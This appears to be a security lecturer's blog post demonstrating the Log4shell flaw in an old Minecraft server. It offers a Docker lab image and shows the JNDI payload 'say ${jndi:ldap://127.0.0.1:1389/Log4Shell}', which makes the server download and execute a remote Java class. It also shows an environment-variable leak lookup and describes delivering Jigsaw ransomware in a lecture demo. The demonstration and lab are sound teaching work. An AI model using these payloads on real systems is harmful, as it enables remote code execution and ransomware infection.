Log4shell vulnerability in Minecraft
Last month I had two lectures about cyber attacks at Gamefair 2023 conference. And what could be a better practical demonstration than exploitation of a very famous game, which would lead to an encryption of a game server with ransomware?
I decided to leverage the two years old vulnerability CVE-2021-44228 (a.k.a Log4shell) in Java Log4j library. This library is also part of the Minecraft Java edition. It is very easy to exploit the vulnerability, as we will see later during this blog post. However, when I tried to prepare some vulnerable machines with the affected version of Minecraft server and attacker’s tools, I have found that it could be more challenging than the Log4shell exploitation itself. In my final setup during the lectures, I used one VM with ReactOS and vulnerable Minecraft server (especially because of GUI of the Jigsaw ransomware) and one Debian VM for attacker. However, for easy demonstration of Log4shell in Minecraft server, I also prepared a Docker image with vulnerable version and proof-of-concept (PoC) tools and listeners for attacker.
Log4shell vulnerability
Apache Log4j is a Java-based library. It is a powerful logging tool. Even so powerful, that it can connect to remote machine, download untrusted content from there and executes it locally - at least the vulnerable versions. And this behavior can be triggered just by logging a simple message, which, in production environment, could originate from some user input - another example of untrusted source. Yes, just by putting your input in one system, you could trigger this vulnerability in another system and it could download and execute code from the attacker’s controlled machine. This is a perfect example of remote code execution (RCE) vulnerability. There are lot of systems which could be (and were) affected by this vulnerability - especially systems used for logging and processing those logs from another applications (such as SIEM systems and log collectors and lot of web applications in production). Minecraft is not the only example. For example, also some Google services and Elasticsearch versions 5.0.0+ were affected.
Now turn back to the vulnerability itself. The Log4j framework provides a way to enrich logs by adding values to them via lookups. It is possible to put a content of variables into a log messages, such as Java environment information, OS environment variables and others. These lookups use special syntax: enclosing the variable name into a ${..}
. Then, for example. "${java.os}"
is replaced with the OS version, "${env:PATH}"
is replaced with the PATH
environment variable. Even this could be dangerous, as it could allow attacker to leak some information from the production system (just imagine the Docker container with API keys in environment variables).
Another type of supported lookup is JNDI - Java Naming and Directory Interface with the lookup patterns of "${jndi:...}"
. The SPI (Service provider interface) allows to use lot of namings or directory services, including LDAP, DNS and file systems. When JNDI lookup is used together with LDAP, it retrieves data from provided URL and loads them as Java object. In other words, it can load Java object from untrusted location provided by attacker.
Log4shell exploitation and proof of concept
In many cases, the loading of Java object can be turned into code execution. This one is not an exception. There are various research papers and tools about Java object deserialization vulnerabilities, for example the marshalsec tool by Moritz Bechler. It allows turning data into code execution. Particularly in this scenario with Log4j vulnerability and LDAP, it can create LDAP Ref server, which can cause the execution of provided commands or remote classloading. Attackers can “redirect” the LDAP reference from JNDI lookup to malicious Java class hosted at their webserver.
I decided to load in my PoC simple Java class, which just executes whoami
command and prints message to stdout. Result of successful exploitation is visible below: printing the message on Minecraft server in the top window, connects to the LDAP server on the bottom-left window and downloads of POC Java class from webserver in bottom-right window.
Docker image
During preparation of my lectures and demonstration, I spent lot of time with finding the vulnerable version of Minecraft server which works together with the vulnerable version of Java. In addition to that, I want to prepare some minimal proof of concept based on very minimal Alpine Linux. When I have prepared successful demo, I decided to preserve this demo as Docker image. Thus, when I would like to demonstrate this vulnerability again in the future, I will be prepared and it will be very easy.
The Docker image contains the old version of Minecraft 1.8.8 with vulnerable version of Log4j library. It also contains old version of Java 8u181. This is one of the versions allowing the remote code execution through JNDI lookups with LDAP names. The attacker portion contains the undermentioned marshalsec. Each part is executed in its own window in the Tmux session.
For downloading the Docker image with docker, just use
docker pull lacike3/attacks-demo:minecraft-log4shell
or if you prefer podman, then
podman pull docker.io/lacike3/attacks-demo:minecraft-log4shell
Usage of docker image
if you use podman instead of docker, just replace podman with docker in the commands below
For simple demo and playing with the vulnerable Minecraft server in the Tmux session, just run
podman run --rm -it attacks-demo:minecraft-log4shell
and then navigate to the Minecraft window with CTRL+B and Up. You can send the chat messages in behalf of the server with the command say
, e.g.:
say hello
say ${env:PATH}
(example of environment variable lookup)say ${jndi:ldap://127.0.0.1:1389/Log4Shell}
(example of JNDI LDAP lookup, which downloads and executes POC.class by the vulnerable Minecraft server)
For stopping the server, just type stop
. For another commands and help, type help
.
If you wish to connect your Minecraft client to the vulnerable Minecraft server and send the above messages by the player to the chat, you can expose the Minecraft server to your host:
podman run --rm -it -p 25565:25565 attacks-demo:minecraft-log4shell
Final thoughts
For the conference lectures, I went one step further, and prepare more GUI example. As a server machine, I decided to use ReactOS - open source operating system (more-less) binary-compatible with old Windows OS. Thanks to the ReactOS, I could demonstrate the infection with Jigsaw ransomware instead of Java POC class. This ransomware has a fancy GUI and it wants to play a game with the victim - nice demonstration of malware for gaming conference :-)
In ReactOS, I used the same version of Minecraft server (1.8.8) as in the Docker image, and Java SE Runtime Environment 8u11 available in ReactOS Applications Manager. For attacker machine, I used Debian with the slightly modified docker image as above, with the Java downloader and the Jigsaw ransomware.